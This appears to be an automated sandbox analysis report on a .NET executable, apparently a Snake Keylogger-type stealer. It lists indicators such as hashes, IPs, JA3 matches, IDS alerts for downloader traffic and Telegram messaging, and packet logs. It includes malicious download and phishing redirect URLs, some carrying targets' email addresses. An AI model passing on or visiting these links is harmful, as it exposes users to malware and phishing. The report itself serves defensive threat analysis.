	RisingStrip.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://telegra.ph/Clarkson-122025-01-02	Get hash	malicious	Unknown	Browse	149.154.167.220
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://telegra.ph/Clarkson-122025-01-02	Get hash	malicious	Unknown	Browse	149.154.167.99
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.yzEgCXNOtR0g3VDqrfESrp2R1cF5ldZEX7V8PkOFzM7ruCjjHr3jp5RGL8GduYU-2BjhHflFlXWDZcLxMTl-2BOf3Q-3D-3Dypty_wgMyjr7kuwn9YAatYj1Mf4g8ovXgJAxpM0PlHYE9e6HZUYNSU5hkcVbHbQ0q5E6I3Vn1iKBKWI4PPg-2BCiKeQ2OE0mP0AQHbDintLIvkOVimerxUzun3ony9NL1yVRuA4WQuNzjMCPVhNshNaKMXqQsMtvsckMLkqRAU-2FNXREyY4h03-2BUaA2tGQGT4QuateFiuKuJahSkLVnvCQKkIZcpO3aNqWzyxlmipL9FIlHPuq9M09y6kh5iIlWeVT6v9HaNCeK7mNRfTM-2FaE-2FYlUjqPiHlgW1bQDf4vc-2B8bTW2XnnwQ3OD-2BHpj1pVnq8E-2B5KWyk-2BdpGzJAivJFYRAm0bkM-2FBffGjfgcs9NuM6kyERGkXLWY0YDwCJHP0W3vRM98XO8M2QRiYbYEh4a80qwygvsII8yUtWb452P35A7kazo2Bsi9HmjZL32fVK2Kj1rsDSpFE2-2FPz5MkH0YdERZv2D9LaOR2CGCCtOzFgtqISzhm5DNl8sQN1HGl9yl3sxCQ2TXG-2B2-2FQIL0ayfUBJHiJurB3Y0z5HdmkhdTnyWYqM9SpbJkxNnfJXP5NAUZTA0q1B3cuqIcfJ8Gdtm1IuXC9fLcGQFLP2A1GLVH6tFOcbPu-2F-2FO5Evswi23nrB2CFvf3EAjbRLMMYTn-2FzVKiL-2FLRKqLChrdjv6iJ364jG39-2BR-2BRXc7k2MN4PqhyBkuDYVO6KJhJtr7VWQ1JkGgezZvQKBz4Vi6Gq0ytsGLOZnihpIPww05MHzIdOzD94b48OUKOeaeHavlRK5pXSjQ7zOPyDnUSjdCJ-2FLEEq4EOGwcWXvvFjweg-2BQEsFRU1KoSIvsY-2FcQgpMyEYXStCMiKHT4WQ7TMDjBOR3rhCh2QliVs-2FI1-2BSi-2FjGbWAd30KPG-2F7b4L3CtlRajP3-2BEOcqU3Jvnbxu8AdSEg-2F0bY3U9Rsq-2FRYamf2McJIE0i0zbXhYCXRm3cXwuZg-2Fn9ed9-2FBCSIqPn-2B7Kqqgzm-2FKg-3D-3D	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.yzEgCXNOtR0g3VDqrfESrp2R1cF5ldZEX7V8PkOFzM7ruCjjHr3jp5RGL8GduYU-2BjhHflFlXWDZcLxMTl-2BOf3Q-3D-3Dypty_wgMyjr7kuwn9YAatYj1Mf4g8ovXgJAxpM0PlHYE9e6HZUYNSU5hkcVbHbQ0q5E6I3Vn1iKBKWI4PPg-2BCiKeQ2OE0mP0AQHbDintLIvkOVimerxUzun3ony9NL1yVRuA4WQuNzjMCPVhNshNaKMXqQsMtvsckMLkqRAU-2FNXREyY4h03-2BUaA2tGQGT4QuateFiuKuJahSkLVnvCQKkIZcpO3aNqWzyxlmipL9FIlHPuq9M09y6kh5iIlWeVT6v9HaNCeK7mNRfTM-2FaE-2FYlUjqPiHlgW1bQDf4vc-2B8bTW2XnnwQ3OD-2BHpj1pVnq8E-2B5KWyk-2BdpGzJAivJFYRAm0bkM-2FBffGjfgcs9NuM6kyERGkXLWY0YDwCJHP0W3vRM98XO8M2QRiYbYEh4a80qwygvsII8yUtWb452P35A7kazo2Bsi9HmjZL32fVK2Kj1rsDSpFE2-2FPz5MkH0YdERZv2D9LaOR2CGCCtOzFgtqISzhm5DNl8sQN1HGl9yl3sxCQ2TXG-2B2-2FQIL0ayfUBJHiJurB3Y0z5HdmkhdTnyWYqM9SpbJkxNnfJXP5NAUZTA0q1B3cuqIcfJ8Gdtm1IuXC9fLcGQFLP2A1GLVH6tFOcbPu-2F-2FO5Evswi23nrB2CFvf3EAjbRLMMYTn-2FzVKiL-2FLRKqLChrdjv6iJ364jG39-2BR-2BRXc7k2MN4PqhyBkuDYVO6KJhJtr7VWQ1JkGgezZvQKBz4Vi6Gq0ytsGLOZnihpIPww05MHzIdOzD94b48OUKOeaeHavlRK5pXSjQ7zOPyDnUSjdCJ-2FLEEq4EOGwcWXvvFjweg-2BQEsFRU1KoSIvsY-2FcQgpMyEYXStCMiKHT4WQ7TMDjBOR3rhCh2QliVs-2FI1-2BSi-2FjGbWAd30KPG-2F7b4L3CtlRajP3-2BEOcqU3Jvnbxu8AdSEg-2F0bY3U9Rsq-2FRYamf2McJIE0i0zbXhYCXRm3cXwuZg-2Fn9ed9-2FBCSIqPn-2B7Kqqgzm-2FKg-3D-3D	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.com	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://pdf-ezy.com/pdf-ezy.exe	Get hash	malicious	Unknown	Browse	172.67.152.3
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rmgfuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=olgelfuabFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	104.26.13.205
	2.elf	Get hash	malicious	Unknown	Browse	1.2.10.122
	Patcher_I5cxa9AN.exe	Get hash	malicious	LummaC	Browse	172.67.132.7
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
UTMEMUS	armv5l.elf	Get hash	malicious	Unknown	Browse	132.244.2.45
	31.13.224.14-x86-2025-01-03T22_14_18.elf	Get hash	malicious	Mirai	Browse	132.226.42.231
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	DEMONS.ppc.elf	Get hash	malicious	Unknown	Browse	132.226.227.252
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
	Dotc67890990.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	adguardInstaller.exe	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	ny9LDJr6pA.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	jaTDEkWCbs.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	3LcZO15oTC.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	3LcZO15oTC.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	elyho3x5zz.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	17360626254f6ab0798f0d71fe81e2d058a575b873a7088f40695d7fd8031d0961d3a3694a780.dat-decoded.exe	Get hash	malicious	Remcos	Browse	149.154.167.220
	elyho3x5zz.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Tax_Refund_Claim_2024_Australian_Taxation_Office.js	Get hash	malicious	Remcos	Browse	149.154.167.220
	c2.hta	Get hash	malicious	Remcos	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\kP8EgMorTr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.715274036238211
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	kP8EgMorTr.exe
File size:	781'312 bytes
MD5:	8a51bda9c0cd3d8519c1156dfa39426b
SHA1:	bf1e7be7d44cf1f7499ee43d35aad3d9f8684b28
SHA256:	6889d04a51c7a76b2ab1b4161b2b5e5d17dc2780e29dcc78b41460f982986786
SHA512:	9b36b94da635cce4383993160b730bb32bfff0906d6c1f80c33ffab0294bba7714107f69a5fcbfdb424a2eaa0c5cd118f73c7f2611f26fbc7c75bca22f369084
SSDEEP:	12288:fnM1cUoV+I4MVKWuLLFB5X/40NCrOtMPDREd1DfhI1RH4JBqMoEEF5LZ4HrYNrbC:fnMuRg7LSQQOCPdEd1GnH43qWEF5O0lO
TLSH:	A1F4F1593368EA06C19647F55470E3F8077A9E8EA911E3038FFEBDEB39387016914297
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....0{g..............0.................. ........@.. .......................@............@................................

File Icon


Icon Hash:	a3655757150102e0

Static PE Info

General

Entrypoint:	0x4bf3ba
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x677B30F3 [Mon Jan 6 01:25:07 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbf368	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc0000	0x1334	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xbd3c0	0xbd400	7918c343e2d0b2e9e079c97eb3bdde78	False	0.900661534015852	data	7.7229254201155815	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc0000	0x1334	0x1400	0467f8d148a0ab7fe1013c85a7edda8a	False	0.74296875	data	6.703983528880647	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc2000	0xc	0x200	1001bc2b5a91ab3b37728ed8ad81db81	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xc00c8	0xf07	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.8736677930855212
RT_GROUP_ICON	0xc0fe0	0x14	data	1.05
RT_VERSION	0xc1004	0x32c	data	0.42857142857142855

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-06T07:41:07.750465+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49701	132.226.8.169	80	TCP
2025-01-06T07:41:10.813013+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49701	132.226.8.169	80	TCP
2025-01-06T07:41:11.372807+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49706	188.114.97.3	443	TCP
2025-01-06T07:41:14.219249+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49707	132.226.8.169	80	TCP
2025-01-06T07:41:15.625492+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49709	132.226.8.169	80	TCP
2025-01-06T07:41:19.984901+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49717	132.226.8.169	80	TCP
2025-01-06T07:41:20.969278+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49741	132.226.8.169	80	TCP
2025-01-06T07:41:22.422409+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49753	132.226.8.169	80	TCP
2025-01-06T07:41:25.823569+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49784	188.114.97.3	443	TCP
2025-01-06T07:41:26.698067+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.7	49790	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 07:41:05.574950933 CET	49701	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:05.579845905 CET	80	49701	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:05.579914093 CET	49701	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:05.580152988 CET	49701	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:05.584935904 CET	80	49701	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:07.447810888 CET	80	49701	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:07.453089952 CET	49701	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:07.457896948 CET	80	49701	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:07.703239918 CET	80	49701	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:07.750464916 CET	49701	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:07.751964092 CET	49703	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:07.752012014 CET	443	49703	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:07.752116919 CET	49703	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:07.758474112 CET	49703	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:07.758491993 CET	443	49703	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:08.248347044 CET	443	49703	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:08.248421907 CET	49703	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:08.310482979 CET	49703	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:08.310512066 CET	443	49703	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:08.310950994 CET	443	49703	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:08.359860897 CET	49703	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:08.366924047 CET	49703	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:08.411346912 CET	443	49703	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:08.478785038 CET	443	49703	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:08.478852034 CET	443	49703	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:08.478939056 CET	49703	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:08.488152981 CET	49703	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:08.495987892 CET	49701	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:08.501036882 CET	80	49701	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:10.763484001 CET	80	49701	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:10.766882896 CET	49706	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:10.766917944 CET	443	49706	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:10.766979933 CET	49706	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:10.767246962 CET	49706	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:10.767260075 CET	443	49706	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:10.813013077 CET	49701	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:11.226516008 CET	443	49706	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:11.229691982 CET	49706	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:11.229712009 CET	443	49706	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:11.372848034 CET	443	49706	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:11.372920990 CET	443	49706	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:11.372967958 CET	49706	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:11.373390913 CET	49706	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:11.390613079 CET	49701	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:11.392035961 CET	49707	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:11.395589113 CET	80	49701	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:11.395648956 CET	49701	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:11.396795034 CET	80	49707	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:11.396857977 CET	49707	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:11.396967888 CET	49707	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:11.401715994 CET	80	49707	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:14.171020031 CET	80	49707	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:14.172503948 CET	49708	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:14.172544956 CET	443	49708	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:14.172749043 CET	49708	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:14.172885895 CET	49708	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:14.172898054 CET	443	49708	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:14.219249010 CET	49707	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:14.646442890 CET	443	49708	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:14.648080111 CET	49708	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:14.648103952 CET	443	49708	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:14.779973984 CET	443	49708	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:14.780035019 CET	443	49708	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:14.780097008 CET	49708	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:14.780615091 CET	49708	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:14.789343119 CET	49707	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:14.794207096 CET	49709	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:14.794224977 CET	80	49707	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:14.794277906 CET	49707	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:14.798985958 CET	80	49709	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:14.799074888 CET	49709	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:14.799247026 CET	49709	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:14.804045916 CET	80	49709	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:15.574734926 CET	80	49709	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:15.575927973 CET	49711	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:15.575963020 CET	443	49711	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:15.576021910 CET	49711	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:15.576261044 CET	49711	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:15.576275110 CET	443	49711	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:15.625492096 CET	49709	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:16.035630941 CET	443	49711	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:16.037473917 CET	49711	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:16.037496090 CET	443	49711	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:16.165817976 CET	443	49711	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:16.165885925 CET	443	49711	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:16.165961027 CET	49711	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:16.166328907 CET	49711	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:16.183729887 CET	49709	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:16.184789896 CET	49717	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:16.188641071 CET	80	49709	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:16.188693047 CET	49709	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:16.189572096 CET	80	49717	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:16.189651012 CET	49717	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:16.189749002 CET	49717	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:16.194463968 CET	80	49717	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:19.941728115 CET	80	49717	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:19.984900951 CET	49717	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:20.101186037 CET	49717	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:20.105189085 CET	49741	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:20.106197119 CET	80	49717	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:20.106328964 CET	49717	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:20.110060930 CET	80	49741	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:20.110135078 CET	49741	80	192.168.2.7	132.226.8.169
